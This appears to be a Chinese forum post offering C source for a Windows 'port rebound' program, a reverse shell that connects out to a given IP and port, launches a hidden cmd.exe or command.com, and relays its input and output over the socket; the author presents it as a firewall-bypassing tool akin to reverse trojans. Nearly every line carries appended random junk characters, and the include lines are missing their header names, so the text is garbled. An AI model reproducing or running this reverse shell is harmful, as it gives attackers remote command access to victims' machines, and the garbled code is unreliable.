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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  G`8i{3:  
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/* ============================== 2XI%z4\)!  
Rebound port in Windows NT qIIc>By(\"  
By wind,2006/7 g\^7Q  
===============================*/ "i0{E!,XL  
#include , 7-@eZ  
#include r#hA kOw  
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#pragma comment(lib,"wsock32.lib") (Qq;ySZ#  
%ub\+~  
void OutputShell(); x8 :  
SOCKET sClient; bwN>E+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8WU_d`DF  
p?F%a;V3  
void main(int argc,char **argv) Xy/lsaVskX  
{ ]yI~S(  
WSADATA stWsaData; +)YU/41W  
int nRet; tk=~b} 8  
SOCKADDR_IN stSaiClient,stSaiServer; z0|%h?N  
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if(argc != 3) KYBoGCS>  
{ FbO\#p s  
printf("Useage:\n\rRebound DestIP DestPort\n"); d h5%  
return; /`$9H|  
} C]H'z  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1@" L  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R8ZI}C1  
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stSaiClient.sin_family = AF_INET; T7+_/ Qh  
stSaiClient.sin_port = htons(0); "A?&`}%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $}_a`~u  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %*J'!PC9n  
{ MoAZ!cF8  
printf("Bind Socket Failed!\n"); ))Q3;mI"  
return; K`%{(^}.  
} ~Psv[b=]  
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stSaiServer.sin_family = AF_INET; fbv%&z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \ k&(D*u  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j !m42  
sUl/9VKl  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3jx5Lou)&  
{ Z'/sZ3Q}  
printf("Connect Error!"); W<']Q_su  
return; ]H[%PQ r`Z  
} :x*#RnRr.  
OutputShell(); ; <^t)8E  
} eD<Kk 4){  
@ootKY`  
void OutputShell() ]&;M 78^6  
{ \M(#FS  
char szBuff[1024]; M$L ; -T  
SECURITY_ATTRIBUTES stSecurityAttributes; F,F1Axf  
OSVERSIONINFO stOsversionInfo; )GgO=J:o  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .MUoNk!  
STARTUPINFO stStartupInfo; ZP*(ZU@j=Z  
char *szShell; PO1|l-v<Yq  
PROCESS_INFORMATION stProcessInformation; Fh[Gq  
unsigned long lBytesRead; -%I 0Q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U_\3preF  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GJLe733o  
stSecurityAttributes.lpSecurityDescriptor = 0; `)Z+]5:  
stSecurityAttributes.bInheritHandle = TRUE; <Wz+f+HC  
)2lzPK t  
|-vc/t2k>T  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `-,yJ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uIeD.I'@{5  
O C qI  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y&F0IJ|`@M  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bi =IIVlH  
stStartupInfo.wShowWindow = SW_HIDE; ??MF8 uv  
stStartupInfo.hStdInput = hReadPipe; F@C^nX9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A]x'!qa@=  
4|yZA*Q^  
GetVersionEx(&stOsversionInfo); @20~R/vh  
&i/QFO7y}  
switch(stOsversionInfo.dwPlatformId) cwK+{*ZH/  
{ ;`p!/9il  
case 1: dF (m!P/R  
szShell = "command.com"; Lc0yLm  
break; xW hi>  
default: a d,0*(</  
szShell = "cmd.exe"; iD/r8_}  
break; wfE%` 1  
} Z{#;my*X|  
PR{y84$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3jaY\(`%h  
=5 zx]N1r  
send(sClient,szMsg,77,0); 6X1_NbC  
while(1) ,sn/FT^; q  
{ +[2X@J  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); OvFWX%uY  
if(lBytesRead) hp:8e@  
{ |izf|*e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LEM^8G]O  
send(sClient,szBuff,lBytesRead,0); 0nX.%2p#Je  
} ;?-`n4B&  
else VOmWRy"L  
{ JE[+  
lBytesRead=recv(sClient,szBuff,1024,0); 1Vden.H*CI  
if(lBytesRead<=0) break; ]n/fB|tE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l>H G|ol  
} 4t Z. T9d  
} Wd0$t    
#!h +K"wX  
return; [+j39d.Q  
}
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